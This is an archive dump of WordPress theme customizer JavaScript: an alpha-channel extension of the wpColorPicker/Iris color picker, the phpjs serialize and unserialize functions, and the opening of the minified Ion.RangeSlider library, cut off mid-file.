				 * Check if there's already a wrapping label, e.g. in the Customizer.
				 * If there's no label, add a default one to match the Customizer template.
				 */
				if ( ! el.parent( 'label' ).length ) {
					// Wrap the input field in the default label.
					el.wrap( _wrappingLabel );
					// Insert the default label text.
					self.wrappingLabelText = $( _wrappingLabelText )
						.insertBefore( el )
						.text( wpColorPickerL10n.defaultLabel );
				}

				/*
				 * At this point, either it's the standalone version or the Customizer
				 * one, we have a wrapping label to use as hook in the DOM, let's store it.
				 */
				self.wrappingLabel = el.parent();

				// Wrap the label in the main wrapper.
				self.wrappingLabel.wrap( _wrap );
				// Store a reference to the main wrapper.
				self.wrap = self.wrappingLabel.parent();
				// Set up the toggle button and insert it before the wrapping label.
				self.toggler = $( _before )
					.insertBefore( self.wrappingLabel )
					.css( { backgroundColor: self.initialValue } );
				// Set the toggle button span element text.
				self.toggler.find( '.wp-color-result-text' ).text( wpColorPickerL10n.pick );
				// Set up the Iris container and insert it after the wrapping label.
				self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
				// Store a reference to the Clear/Default button.
				self.button = $( _button );
			}

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button.addClass( 'wp-picker-default' ).val( wpColorPickerL10n.defaultString );
				if ( ! _deprecated ) {
					self.button.attr( 'aria-label', wpColorPickerL10n.defaultAriaLabel );
				}
			} else {
				self.button.addClass( 'wp-picker-clear' ).val( wpColorPickerL10n.clear );
				if ( ! _deprecated ) {
					self.button.attr( 'aria-label', wpColorPickerL10n.clearAriaLabel );
				}
			}

			if ( _deprecated ) {
				el.wrap( '<span class="wp-picker-input-wrap" />' ).after( self.button );
			} else {
				// Wrap the wrapping label in its wrapper and append the Clear/Default button.
				self.wrappingLabel
					.wrap( '<span class="wp-picker-input-wrap hidden" />' )
					.after( self.button );

				/*
				 * The input wrapper now contains the label+input+Clear/Default button.
				 * Store a reference to the input wrapper: we'll use this to toggle
				 * the controls visibility.
				 */
				self.inputWrapper = el.closest( '.wp-picker-input-wrap' );
			}

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * @summary Handles the onChange event if one has been defined in the options.
				 *
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @returns {void}
				 */
				change: function( event, ui ) {
					if ( self.options.alpha ) {
						self.toggler.css( { 'background-image' : 'url(' + image + ')' } );
						if ( _deprecated ) {
							self.toggler.html( '<span class="color-alpha" />' );
						} else {
							self.toggler.css( {
								'position' : 'relative'
							} );
							if ( self.toggler.find('span.color-alpha').length == 0 ) {
								self.toggler.append('<span class="color-alpha" />');
							}
						}

						self.toggler.find( 'span.color-alpha' ).css( {
							'width'                     : '30px',
							'height'                    : '24px',
							'position'                  : 'absolute',
							'top'                       : 0,
							'left'                      : 0,
							'border-top-left-radius'    : '2px',
							'border-bottom-left-radius' : '2px',
							'background'                : ui.color.toString()
						} );
					} else {
						self.toggler.css( { backgroundColor : ui.color.toString() } );
					}

					if ( $.isFunction( self.options.change ) ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * @summary Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * @summary Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returs {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * @summary Open or close the color picker depending on the class.
			 *
			 * @since 3.5
			 */
			self.toggler.on('click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * @summary Checks if value is empty when changing the color in the color picker.
			 *
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returns {void}
			 */
			self.element.on( 'change', function( event ) {
				// Empty or Error = clear
				if ( $( this ).val() === '' || self.element.hasClass( 'iris-error' ) ) {
					if ( self.options.alpha ) {
						if ( _deprecated ) {
							self.toggler.removeAttr( 'style' );
						}
						self.toggler.find( 'span.color-alpha' ).css( 'backgroundColor', '' );
					} else {
						self.toggler.css( 'backgroundColor', '' );
					}

					// fire clear callback if we have one
					if ( $.isFunction( self.options.clear ) )
						self.options.clear.call( this, event );
				}
			} );

			/**
			 * @summary Enables the user to clear or revert the color in the color picker.
			 *
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returns {void}
			 */
			self.button.on( 'click', function( event ) {
				if ( $( this ).hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					if ( self.options.alpha ) {
						if ( _deprecated ) {
							self.toggler.removeAttr( 'style' );
						}
						self.toggler.find( 'span.color-alpha' ).css( 'backgroundColor', '' );
					} else {
						self.toggler.css( 'backgroundColor', '' );
					}

					if ( $.isFunction( self.options.clear ) )
						self.options.clear.call( this, event );

				} else if ( $( this ).hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
	});

	/**
	 * Overwrite iris
	 */
	$.widget( 'a8c.iris', $.a8c.iris, {
		_create: function() {
			this._super();

			// Global option for check is mode rbga is enabled
			this.options.alpha = this.element.data( 'alpha' ) || false;

			// Is not input disabled
			if ( ! this.element.is( ':input' ) )
				this.options.alpha = false;

			if ( typeof this.options.alpha !== 'undefined' && this.options.alpha ) {
				var self       = this,
					el         = self.element,
					_html      = '<div class="iris-strip iris-slider iris-alpha-slider"><div class="iris-slider-offset iris-slider-offset-alpha"></div></div>',
					aContainer = $( _html ).appendTo( self.picker.find( '.iris-picker-inner' ) ),
					aSlider    = aContainer.find( '.iris-slider-offset-alpha' ),
					controls   = {
						aContainer : aContainer,
						aSlider    : aSlider
					};

				if ( typeof el.data( 'custom-width' ) !== 'undefined' ) {
					self.options.customWidth = parseInt( el.data( 'custom-width' ) ) || 0;
				} else {
					self.options.customWidth = 100;
				}

				// Set default width for input reset
				self.options.defaultWidth = el.width();

				// Update width for input
				if ( self._color._alpha < 1 || self._color.toString().indexOf('rgb') != -1 )
					el.width( parseInt( self.options.defaultWidth + self.options.customWidth ) );

				// Push new controls
				$.each( controls, function( k, v ) {
					self.controls[k] = v;
				} );

				// Change size strip and add margin for sliders
				self.controls.square.css( { 'margin-right': '0' } );
				var emptyWidth   = ( self.picker.width() - self.controls.square.width() - 20 ),
					stripsMargin = ( emptyWidth / 6 ),
					stripsWidth  = ( ( emptyWidth / 2 ) - stripsMargin );

				$.each( [ 'aContainer', 'strip' ], function( k, v ) {
					self.controls[v].width( stripsWidth ).css( { 'margin-left' : stripsMargin + 'px' } );
				} );

				// Add new slider
				self._initControls();

				// For updated widget
				self._change();
			}
		},
		_initControls: function() {
			this._super();

			if ( this.options.alpha ) {
				var self     = this,
					controls = self.controls;

				controls.aSlider.slider({
					orientation : 'vertical',
					min         : 0,
					max         : 100,
					step        : 1,
					value       : parseInt( self._color._alpha * 100 ),
					slide       : function( event, ui ) {
						// Update alpha value
						self._color._alpha = parseFloat( ui.value / 100 );
						self._change.apply( self, arguments );
					}
				});
			}
		},
		_change: function() {
			this._super();

			var self = this,
				el   = self.element;

			if ( this.options.alpha ) {
				var	controls     = self.controls,
					alpha        = parseInt( self._color._alpha * 100 ),
					color        = self._color.toRgb(),
					gradient     = [
						'rgb(' + color.r + ',' + color.g + ',' + color.b + ') 0%',
						'rgba(' + color.r + ',' + color.g + ',' + color.b + ', 0) 100%'
					],
					defaultWidth = self.options.defaultWidth,
					customWidth  = self.options.customWidth,
					target       = self.picker.closest( '.wp-picker-container' ).find( '.wp-color-result' );

				// Generate background slider alpha, only for CSS3 old browser fuck!! :)
				controls.aContainer.css( { 'background' : 'linear-gradient(to bottom, ' + gradient.join( ', ' ) + '), url(' + image + ')' } );

				if ( target.hasClass( 'wp-picker-open' ) ) {
					// Update alpha value
					controls.aSlider.slider( 'value', alpha );

					/**
					 * Disabled change opacity in default slider Saturation ( only is alpha enabled )
					 * and change input width for view all value
					 */
					if ( self._color._alpha < 1 ) {
						controls.strip.attr( 'style', controls.strip.attr( 'style' ).replace( /rgba\(([0-9]+,)(\s+)?([0-9]+,)(\s+)?([0-9]+)(,(\s+)?[0-9\.]+)\)/g, 'rgb($1$3$5)' ) );
						el.width( parseInt( defaultWidth + customWidth ) );
					} else {
						el.width( parseInt( defaultWidth + customWidth ) );
					}
				}
			}

			var reset = el.data( 'reset-alpha' ) || false;

			if ( reset ) {
				self.picker.find( '.iris-palette-container' ).on( 'click.palette', '.iris-palette', function() {
					self._color._alpha = 1;
					self.active        = 'external';
					self._change();
				} );
			}
		},
		_addInputListeners: function( input ) {
			var self            = this,
				debounceTimeout = 100,
				callback        = function( event ) {
					var color = new Color( input.val() ),
						val   = input.val();

					input.removeClass( 'iris-error' );
					// we gave a bad color
					if ( color.error ) {
						// don't error on an empty input
						if ( val !== '' )
							input.addClass( 'iris-error' );
					} else {
						if ( color.toString() !== self._color.toString() ) {
							// let's not do this on keyup for hex shortcodes
							if ( ! ( event.type === 'keyup' && val.match( /^[0-9a-fA-F]{3}$/ ) ) )
								self._setOption( 'color', color.toString() );
						}
					}
				};

			input.on( 'change', callback ).on( 'keyup', self._debounce( callback, debounceTimeout ) );

			// If we initialized hidden, show on first focus. The rest is up to you.
			if ( self.options.hide ) {
				input.on( 'focus', function() {
					self.show();
				} );
			}
		}
	} );
}( jQuery ) );

// Auto Call plugin is class is color-picker
jQuery( document ).ready( function( $ ) {
	$( '.color-picker' ).wpColorPicker();
} );
PK     N\<G)  )  6  inc/customizer/framework/assets/js/vendor/serialize.jsnu [        function serialize(mixed_value) {
    //  discuss at: http://phpjs.org/functions/serialize/
    // original by: Arpad Ray (mailto:arpad@php.net)
    // improved by: Dino
    // improved by: Le Torbi (http://www.letorbi.de/)
    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)
    // bugfixed by: Andrej Pavlovic
    // bugfixed by: Garagoth
    // bugfixed by: Russell Walker (http://www.nbill.co.uk/)
    // bugfixed by: Jamie Beck (http://www.terabit.ca/)
    // bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)
    // bugfixed by: Ben (http://benblume.co.uk/)
    //	input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.html)
    //	input by: Martin (http://www.erlenwiese.de/)
    //		note: We feel the main purpose of this function should be to ease the transport of data between php & js
    //		note: Aiming for PHP-compatibility, we have to translate objects to arrays
    //   example 1: serialize(['Kevin', 'van', 'Zonneveld']);
    //   returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'
    //   example 2: serialize({firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'});
    //   returns 2: 'a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}'

    'use strict';

    var val, key, okey,
        ktype = '',
        vals = '',
        count = 0,
        _utf8Size = function(str) {
            var size = 0,
                i = 0,
                l = str.length,
                code = '';
            for (i = 0; i < l; i++) {
                code = str.charCodeAt(i);
                if (code < 0x0080) {
                    size += 1;
                } else if (code < 0x0800) {
                    size += 2;
                } else {
                    size += 3;
                }
            }
            return size;
        },
    _getType = function(inp) {
        var match, key, cons, types, type = typeof inp;

        if (type === 'object' && !inp) {
            return 'null';
        }
        if (type === 'object') {
            if (!inp.constructor) {
                return 'object';
            }
            cons = inp.constructor.toString();
            match = cons.match(/(\w+)\(/);
            if (match) {
                cons = match[1].toLowerCase();
            }
            types = ['boolean', 'number', 'string', 'array'];
            for (key in types) {
                if (cons == types[key]) {
                    type = types[key];
                    break;
                }
            }
        }
        return type;
    },
    type = _getType(mixed_value);

    switch (type) {
        case 'function':
            val = '';
            break;
        case 'boolean':
            val = 'b:' + (mixed_value ? '1' : '0');
            break;
        case 'number':
            val = (Math.round(mixed_value) == mixed_value ? 'i' : 'd') + ':' + mixed_value;
            break;
        case 'string':
            val = 's:' + _utf8Size(mixed_value) + ':"' + mixed_value + '"';
            break;
        case 'array':
        case 'object':
            val = 'a';
            /*
              if (type === 'object') {
                var objname = mixed_value.constructor.toString().match(/(\w+)\(\)/);
                if (objname == undefined) {
                  return;
                }
                objname[1] = this.serialize(objname[1]);
                val = 'O' + objname[1].substring(1, objname[1].length - 1);
              }
              */

            for (key in mixed_value) {
                if (mixed_value.hasOwnProperty(key)) {
                    ktype = _getType(mixed_value[key]);
                    if (ktype === 'function') {
                        continue;
                    }


                    okey = (key.match(/^[0-9]+$/) ? parseInt(key, 10) : key);
                    vals += this.serialize(okey) + this.serialize(mixed_value[key]);
                    count++;
                }
            }
            val += ':' + count + ':{' + vals + '}';
            break;
        case 'undefined':
        // Fall-through
        default:
            // if the JS object has a property which contains a null value, the string cannot be unserialized by PHP
            val = 'N';
            break;
    }
    if (type !== 'object' && type !== 'array') {
        if ( type == 'string' && val.indexOf('}') != -1 ) {
        } else {
            val += ';';
        }
    }
    return val;
}


function unserialize(data) {
    //  discuss at: http://phpjs.org/functions/unserialize/
    // original by: Arpad Ray (mailto:arpad@php.net)
    // improved by: Pedro Tainha (http://www.pedrotainha.com)
    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // improved by: Chris
    // improved by: James
    // improved by: Le Torbi
    // improved by: Eli Skeggs
    // bugfixed by: dptr1988
    // bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // bugfixed by: Brett Zamir (http://brett-zamir.me)
    //  revised by: d3x
    //	input by: Brett Zamir (http://brett-zamir.me)
    //	input by: Martin (http://www.erlenwiese.de/)
    //	input by: kilops
    //	input by: Jaroslaw Czarniak
    //		note: We feel the main purpose of this function should be to ease the transport of data between php & js
    //		note: Aiming for PHP-compatibility, we have to translate objects to arrays
    //   example 1: unserialize('a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}');
    //   returns 1: ['Kevin', 'van', 'Zonneveld']
    //   example 2: unserialize('a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}');
    //   returns 2: {firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'}

    'use strict';

    var that = this,
        utf8Overhead = function(chr) {
            // http://phpjs.org/functions/unserialize:571#comment_95906
            var code = chr.charCodeAt(0);
            if (code < 0x0080) {
                return 0;
            }
            if (code < 0x0800) {
                return 1;
            }
            return 2;
        },
    error = function(type, msg, filename, line) {
        throw new that.window[type](msg, filename, line);
    },
    read_until = function(data, offset, stopchr) {
        var i = 2,
            buf = [],
            chr = data.slice(offset, offset + 1);

        while (chr != stopchr) {
            if ((i + offset) > data.length) {
                error('Error', 'Invalid');
            }
            buf.push(chr);
            chr = data.slice(offset + (i - 1), offset + i);
            i += 1;
        }
        return [buf.length, buf.join('')];
    },
    read_chrs = function(data, offset, length) {
        var i, chr, buf;

        buf = [];
        for (i = 0; i < length; i++) {
            chr = data.slice(offset + (i - 1), offset + i);
            buf.push(chr);
            length -= utf8Overhead(chr);
        }
        return [buf.length, buf.join('')];
    },
    _unserialize = function(data, offset) {
        var dtype, dataoffset, keyandchrs, keys, contig,
            length, array, readdata, readData, ccount,
            stringlength, i, key, kprops, kchrs, vprops,
            vchrs, value, chrs = 0,
            typeconvert = function(x) {
                return x;
            };

        if (!offset) {
            offset = 0;
        }
        dtype = (data.slice(offset, offset + 1))
            .toLowerCase();

        dataoffset = offset + 2;

        switch (dtype) {
            case 'i':
                typeconvert = function(x) {
                    return parseInt(x, 10);
                };
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
                break;
            case 'b':
                typeconvert = function(x) {
                    return parseInt(x, 10) !== 0;
                };
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
                break;
            case 'd':
                typeconvert = function(x) {
                    return parseFloat(x);
                };
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
                break;
            case 'n':
                readdata = null;
                break;
            case 's':
                ccount = read_until(data, dataoffset, ':');
                chrs = ccount[0];
                stringlength = ccount[1];
                dataoffset += chrs + 2;

                readData = read_chrs(data, dataoffset + 1, parseInt(stringlength, 10));
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 2;
                if (chrs != parseInt(stringlength, 10) && chrs != readdata.length) {
                    error('SyntaxError', 'String length mismatch');
                }
                break;
            case 'a':
                readdata = {};

                keyandchrs = read_until(data, dataoffset, ':');
                chrs = keyandchrs[0];
                keys = keyandchrs[1];
                dataoffset += chrs + 2;

                length = parseInt(keys, 10);
                contig = true;

                for (i = 0; i < length; i++) {
                    kprops = _unserialize(data, dataoffset);
                    kchrs = kprops[1];
                    key = kprops[2];
                    dataoffset += kchrs;

                    vprops = _unserialize(data, dataoffset);
                    vchrs = vprops[1];
                    value = vprops[2];
                    dataoffset += vchrs;

                    if (key !== i)
                        contig = false;

                    readdata[key] = value;
                }

                if (contig) {
                    array = new Array(length);
                    for (i = 0; i < length; i++)
                        array[i] = readdata[i];
                    readdata = array;
                }

                dataoffset += 1;
                break;
            default:
                error('SyntaxError', 'Unknown / Unhandled data type(s): ' + dtype);
                break;
        }
        return [dtype, dataoffset - offset, typeconvert(readdata)];
    };

    return _unserialize((data + ''), 0)[2];
}
PK     N\c    @  inc/customizer/framework/assets/js/vendor/ion.rangeSlider.min.jsnu [        // Ion.RangeSlider | version 2.2.0 | https://github.com/IonDen/ion.rangeSlider
;(function(f){"function"===typeof define&&define.amd?define(["jquery"],function(n){return f(n,document,window,navigator)}):"object"===typeof exports?f(require("jquery"),document,window,navigator):f(jQuery,document,window,navigator)})(function(f,n,k,r,p){var t=0,m=function(){var a=r.userAgent,b=/msie\s\d+/i;return 0<a.search(b)&&(a=b.exec(a).toString(),a=a.split(" ")[1],9>a)?(f("html").addClass("lt-ie9"),!0):!1}();Function.prototype.bind||(Function.prototype.bind=function(a){var b=this,d=[].slice;if("function"!=
typeof b)throw new TypeError;var c=d.call(arguments,1),e=function(){if(this instanceof e){var g=function(){};g.prototype=b.prototype;var g=new g,l=b.apply(g,c.concat(d.call(arguments)));return Object(l)===l?l:g}return b.apply(a,c.concat(d.call(arguments)))};return e});Array.prototype.indexOf||(Array.prototype.indexOf=function(a,b){if(null==this)throw new TypeError('"this" is null or not defined');var d=Object(this),c=d.length>>>0;if(0===c)return-1;var e=+b||0;Infinity===Math.abs(e)&&(e=0);if(e>=c)return-1;
for(e=Math.max(0<=e?e:c-Math.abs(e),0);e<c;){if(e in d&&d[e]===a)return e;e++}return-1});var q=function(a,b,d){this.VERSION="2.2.0";this.input=a;this.plugin_count=d;this.old_to=this.old_from=this.update_tm=this.calc_count=this.current_plugin=0;this.raf_id=this.old_min_interval=null;this.no_diapason=this.force_redraw=this.dragging=!1;this.has_tab_index=!0;this.is_update=this.is_key=!1;this.is_start=!0;this.is_click=this.is_resize=this.is_active=this.is_finish=!1;b=b||{};this.$cache={win:f(k),body:f(n.body),
input:f(a),cont:null,rs:null,min:null,max:null,from:null,to:null,single:null,bar:null,line:null,s_single:null,s_from:null,s_to:null,shad_single:null,shad_from:null,shad_to:null,edge:null,grid:null,grid_labels:[]};this.coords={x_gap:0,x_pointer:0,w_rs:0,w_rs_old:0,w_handle:0,p_gap:0,p_gap_left:0,p_gap_right:0,p_step:0,p_pointer:0,p_handle:0,p_single_fake:0,p_single_real:0,p_from_fake:0,p_from_real:0,p_to_fake:0,p_to_real:0,p_bar_x:0,p_bar_w:0,grid_gap:0,big_num:0,big:[],big_w:[],big_p:[],big_x:[]};
this.labels={w_min:0,w_max:0,w_from:0,w_to:0,w_single:0,p_min:0,p_max:0,p_from_fake:0,p_from_left:0,p_to_fake:0,p_to_left:0,p_single_fake:0,p_single_left:0};var c=this.$cache.input;a=c.prop("value");var e;d={type:"single",min:10,max:100,from:null,to:null,step:1,min_interval:0,max_interval:0,drag_interval:!1,values:[],p_values:[],from_fixed:!1,from_min:null,from_max:null,from_shadow:!1,to_fixed:!1,to_min:null,to_max:null,to_shadow:!1,prettify_enabled:!0,prettify_separator:" ",prettify:null,force_edges:!1,
keyboard:!0,grid:!1,grid_margin:!0,grid_num:4,grid_snap:!1,hide_min_max:!1,hide_from_to:!1,prefix:"",postfix:"",max_postfix:"",decorate_both:!0,values_separator:" \u2014 ",input_values_separator:";",disable:!1,block:!1,extra_classes:"",scope:null,onStart:null,onChange:null,onFinish:null,onUpdate:null};"INPUT"!==c[0].nodeName&&console&&console.warn&&console.warn("Base element should be <input>!",c[0]);c={type:c.data("type"),min:c.data("min"),max:c.data("max"),from:c.data("from"),to:c.data("to"),step:c.data("step"),
min_interval:c.data("minInterval"),max_interval:c.data("maxInterval"),drag_interval:c.data("dragInterval"),values:c.data("values"),from_fixed:c.data("fromFixed"),from_min:c.data("fromMin"),from_max:c.data("fromMax"),from_shadow:c.data("fromShadow"),to_fixed:c.data("toFixed"),to_min:c.data("toMin"),to_max:c.data("toMax"),to_shadow:c.data("toShadow"),prettify_enabled:c.data("prettifyEnabled"),prettify_separator:c.data("prettifySeparator"),force_edges:c.data("forceEdges"),keyboard:c.data("keyboard"),
grid:c.data("grid"),grid_margin:c.data("gridMargin"),grid_num:c.data("gridNum"),grid_snap:c.data("gridSnap"),hide_min_max:c.data("hideMinMax"),hide_from_to:c.data("hideFromTo"),prefix:c.data("prefix"),postfix:c.data("postfix"),max_postfix:c.data("maxPostfix"),decorate_both:c.data("decorateBoth"),values_separator:c.data("valuesSeparator"),input_values_separator:c.data("inputValuesSeparator"),disable:c.data("disable"),block:c.data("block"),extra_classes:c.data("extraClasses")};c.values=c.values&&c.values.split(",");
for(e in c)c.hasOwnProperty(e)&&(c[e]!==p&&""!==c[e]||delete c[e]);a!==p&&""!==a&&(a=a.split(c.input_values_separator||b.input_values_separator||";"),a[0]&&a[0]==+a[0]&&(a[0]=+a[0]),a[1]&&a[1]==+a[1]&&(a[1]=+a[1]),b&&b.values&&b.values.length?(d.from=a[0]&&b.values.indexOf(a[0]),d.to=a[1]&&b.values.indexOf(a[1])):(d.from=a[0]&&+a[0],d.to=a[1]&&+a[1]));f.extend(d,b);f.extend(d,c);this.options=d;this.update_check={};this.validate();this.result={input:this.$cache.input,slider:null,min:this.options.min,
max:this.options.max,from:this.options.from,from_percent:0,from_value:null,to:this.options.to,to_percent:0,to_value:null};this.init()};q.prototype={init:function(a){this.no_diapason=!1;this.coords.p_step=this.convertToPercent(this.options.step,!0);this.target="base";this.toggleInput();this.append();this.setMinMax();a?(this.force_redraw=!0,this.calc(!0),this.callOnUpdate()):(this.force_redraw=!0,this.calc(!0),this.callOnStart());this.updateScene()},append:function(){this.$cache.input.before('<span class="irs js-irs-'+
this.plugin_count+" "+this.options.extra_classes+'"></span>');this.$cache.input.prop("readonly",!0);this.$cache.cont=this.$cache.input.prev();this.result.slider=this.$cache.cont;this.$cache.cont.html('<span class="irs"><span class="irs-line" tabindex="0"><span class="irs-line-left"></span><span class="irs-line-mid"></span><span class="irs-line-right"></span></span><span class="irs-min">0</span><span class="irs-max">1</span><span class="irs-from">0</span><span class="irs-to">0</span><span class="irs-single">0</span></span><span class="irs-grid"></span><span class="irs-bar"></span>');
this.$cache.rs=this.$cache.cont.find(".irs");this.$cache.min=this.$cache.cont.find(".irs-min");this.$cache.max=this.$cache.cont.find(".irs-max");this.$cache.from=this.$cache.cont.find(".irs-from");this.$cache.to=this.$cache.cont.find(".irs-to");this.$cache.single=this.$cache.cont.find(".irs-single");this.$cache.bar=this.$cache.cont.find(".irs-bar");this.$cache.line=this.$cache.cont.find(".irs-line");this.$cache.grid=this.$cache.cont.find(".irs-grid");"single"===this.options.type?(this.$cache.cont.append('<span class="irs-bar-edge"></span><span class="irs-shadow shadow-single"></span><span class="irs-slider single"></span>'),
this.$cache.edge=this.$cache.cont.find(".irs-bar-edge"),this.$cache.s_single=this.$cache.cont.find(".single"),this.$cache.from[0].style.visibility="hidden",this.$cache.to[0].style.visibility="hidden",this.$cache.shad_single=this.$cache.cont.find(".shadow-single")):(this.$cache.cont.append('<span class="irs-shadow shadow-from"></span><span class="irs-shadow shadow-to"></span><span class="irs-slider from"></span><span class="irs-slider to"></span>'),this.$cache.s_from=this.$cache.cont.find(".from"),
this.$cache.s_to=this.$cache.cont.find(".to"),this.$cache.shad_from=this.$cache.cont.find(".shadow-from"),this.$cache.shad_to=this.$cache.cont.find(".shadow-to"),this.setTopHandler());this.options.hide_from_to&&(this.$cache.from[0].style.display="none",this.$cache.to[0].style.display="none",this.$cache.single[0].style.display="none");this.appendGrid();this.options.disable?(this.appendDisableMask(),this.$cache.input[0].disabled=!0):(this.$cache.input[0].disabled=!1,this.removeDisableMask(),this.bindEvents());
this.options.disable||(this.options.block?this.appendDisableMask():this.removeDisableMask());this.options.drag_interval&&(this.$cache.bar[0].style.cursor="ew-resize")},setTopHandler:function(){var a=this.options.max,b=this.options.to;this.options.from>this.options.min&&b===a?this.$cache.s_from.addClass("type_last"):b<a&&this.$cache.s_to.addClass("type_last")},changeLevel:function(a){switch(a){case "single":this.coords.p_gap=this.toFixed(this.coords.p_pointer-this.coords.p_single_fake);this.$cache.s_single.addClass("state_hover");
break;case "from":this.coords.p_gap=this.toFixed(this.coords.p_pointer-this.coords.p_from_fake);this.$cache.s_from.addClass("state_hover");this.$cache.s_from.addClass("type_last");this.$cache.s_to.removeClass("type_last");break;case "to":this.coords.p_gap=this.toFixed(this.coords.p_pointer-this.coords.p_to_fake);this.$cache.s_to.addClass("state_hover");this.$cache.s_to.addClass("type_last");this.$cache.s_from.removeClass("type_last");break;case "both":this.coords.p_gap_left=this.toFixed(this.coords.p_pointer-
this.coords.p_from_fake),this.coords.p_gap_right=this.toFixed(this.coords.p_to_fake-this.coords.p_pointer),this.$cache.s_to.removeClass("type_last"),this.$cache.s_from.removeClass("type_last")}},appendDisableMask:function(){this.$cache.cont.append('<span class="irs-disable-mask"></span>');this.$cache.cont.addClass("irs-disabled")},removeDisableMask:function(){this.$cache.cont.remove(".irs-disable-mask");this.$cache.cont.removeClass("irs-disabled")},remove:function(){this.$cache.cont.remove();this.$cache.cont=
null;this.$cache.line.off("keydown.irs_"+this.plugin_count);this.$cache.body.off("touchmove.irs_"+this.plugin_count);this.$cache.body.off("mousemove.irs_"+this.plugin_count);this.$cache.win.off("touchend.irs_"+this.plugin_count);this.$cache.win.off("mouseup.irs_"+this.plugin_count);m&&(this.$cache.body.off("mouseup.irs_"+this.plugin_count),this.$cache.body.off("mouseleave.irs_"+this.plugin_count));this.$cache.grid_labels=[];this.coords.big=[];this.coords.big_w=[];this.coords.big_p=[];this.coords.big_x=
[];cancelAnimationFrame(this.raf_id)},bindEvents:function(){if(!this.no_diapason){this.$cache.body.on("touchmove.irs_"+this.plugin_count,this.pointerMove.bind(this));this.$cache.body.on("mousemove.irs_"+this.plugin_count,this.pointerMove.bind(this));this.$cache.win.on("touchend.irs_"+this.plugin_count,this.pointerUp.bind(this));this.$cache.win.on("mouseup.irs_"+this.plugin_count,this.pointerUp.bind(this));this.$cache.line.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click"));
this.$cache.line.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click"));this.$cache.line.on("focus.irs_"+this.plugin_count,this.pointerFocus.bind(this));this.options.drag_interval&&"double"===this.options.type?(this.$cache.bar.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"both")),this.$cache.bar.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"both"))):(this.$cache.bar.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),
this.$cache.bar.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")));"single"===this.options.type?(this.$cache.single.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"single")),this.$cache.s_single.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"single")),this.$cache.shad_single.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.single.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,
"single")),this.$cache.s_single.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"single")),this.$cache.edge.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.shad_single.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click"))):(this.$cache.single.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,null)),this.$cache.single.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,null)),this.$cache.from.on("touchstart.irs_"+
